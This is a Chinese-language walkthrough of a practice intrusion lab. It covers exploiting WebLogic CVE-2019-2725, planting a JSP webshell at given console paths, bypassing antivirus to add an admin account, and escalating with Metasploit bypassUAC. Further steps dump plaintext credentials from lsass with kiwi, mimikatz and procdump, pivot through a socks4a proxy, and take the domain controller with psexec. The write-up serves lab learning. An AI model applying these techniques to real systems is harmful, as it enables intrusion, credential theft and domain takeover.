环境搭建
- 靶机介绍
- 下载镜像
下载镜像导入虚拟机 - 虚拟机网络配置
DC主机采用 自定义:特定虚拟网络,如VMnet2,并在编辑->虚拟网络编辑器中设置为10.10.10.0段,开启该虚拟机,然后修改网络配置为自动获取IP地址。
PC主机,两张网卡,一张网卡为自定义的VMnet2,一张设置为NAT,与虚拟机的kali方便访问,然后启动虚拟机,修改网络配置为自动获取IP地址,两张网卡都是。
WEB主机和PC机一样配置
PS:网卡设置完成可能登录不上虚拟机,请查看虚拟机镜像是否为正常环境镜像,如不是请还原;还不行,则交换两张网卡配置。进入WEB主机,管理员运行weblogic启动脚本,路劲为
C:\Oracle\Middleware\user_projects\domains\base_domain\bin\strartWebLogic.cmd
进行域信息收集,在WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动(Computer Browser 一直自动关闭导致 net view 显示 6118 error 没能解决,在域信息收集时暂时关闭一下防火墙。
最后互相ping测试,保证网络通畅。
实战
- 信息收集
-
端口扫描(御剑、nmap、nassus都行)
nmap ip(参数自选)
-
weblogic扫描
开发7001端口,为weblogic,采用weblogic扫描工具进行漏洞扫描
该工具github有,search就行
- weblogic管理路劲泄露
- UDDI 模块泄露
- cve-2019-2725存在
- 漏洞利用
访问管理界面,弱口令、默认密码、快速爆破一波,无果,换点
-
cve-2019-2725,百度,谷歌,github一波信息,反序列化利用工具到手
利用反序列化工具打一波。
-
上传shell
需要知道weblogic路劲- 方法1:把shell写到控制台images目录中
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
目录上传木马,访问
http://...:7001/console/framework/skins/wlsconsole/images/shell.jsp
- 方法2:写到uddiexplorer目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\uddiexplorer\随机字符\war\shell.jsp
目录写入木马,访问
http://...:7001/uddiexplorer/shell.jsp
- 方法3:在应用安装目录中
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp_WL_user\项目名\随机字符\war\shell.jsp
目录写入木马,访问
http://...:7001/项目名/shell.jsp
上传jsp冰蝎马
冰蝎连接
- 方法1:把shell写到控制台images目录中
- 获取系统权限
查看当前webshell权限,为administrator,进行账户添加,失败
查看当前开启服务
tasklist /svc
,某60全家桶bypass360,添加账户
请教大佬(我太菜了)
方法一:调用win api,启用guest账户并加入到管理员组,远程上去关掉某60。
方法二:直接bypass某60,大佬给我个工具,直接绕过某60添加admin账户,还是管理员权限,直呼牛逼,再远程上去关掉杀软。上传msf马(因为冰蝎马反弹到MSF提权一直失败,就干脆上传一个MSF自己的马子)
获得一个session,再利用bypassUAC模块,提权到system
- 抓取明文
- 方法一:再meterpreter中加载 kiwi 直接读明文
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。- 查找64位进程
meterpreter> ps
即可查看64位进程 - 进程迁移
meterpreter>migrate PID
最后导出明文即可
- 查找64位进程
- 方法二:上传procdump64,导出lsass.dmp,然后再使用mimikatz读明文
- 内网信息收集
- 内网网段和域信息
- ipconfig /all
route print
net view
等命令进行收集 - 流量代理,nmap探测存活主机
看情况选择正向代理还是反向代理
这里采用socks4反向代理
- ipconfig /all
- 添加路由到本地
run get_local_subnets #查看路由段
run autoroute -s 10.10.10.0/24 #添加路由至本地
run autoroute -p #打印当前路由信息
编辑kali本地的代理服务
vim /etc /proxychains.conf
socks4 local_ip 1080
msf6>use auxiliary/server/socks4a
msf6>set srvhost listen_address
msf6>run
msf6>jobs
msf6>proxychains nmap -sV 10.10.10.0/24
- 定位域控制器ip
net group "domain controllers" /domain
ping DC.de1ay.com
- 控制域控服务器
- 在WEB服务主机中,发现de1ay账户好像有域管理权限,远程登录,在使用psexec连接域控制器拿下域控。
- 上传MSF正向shell木马,然后使用copy命令上传,最后在通过域控拿下另一台PC机
PS:在大佬的指导的下勉强做完这个靶场,但内网部分还是有些不明白的地方,还要进一步学习,CS是个好多西,找个时间学习一下,域部分写的不是很好,感觉自己还是有点懵,有空重新改一下!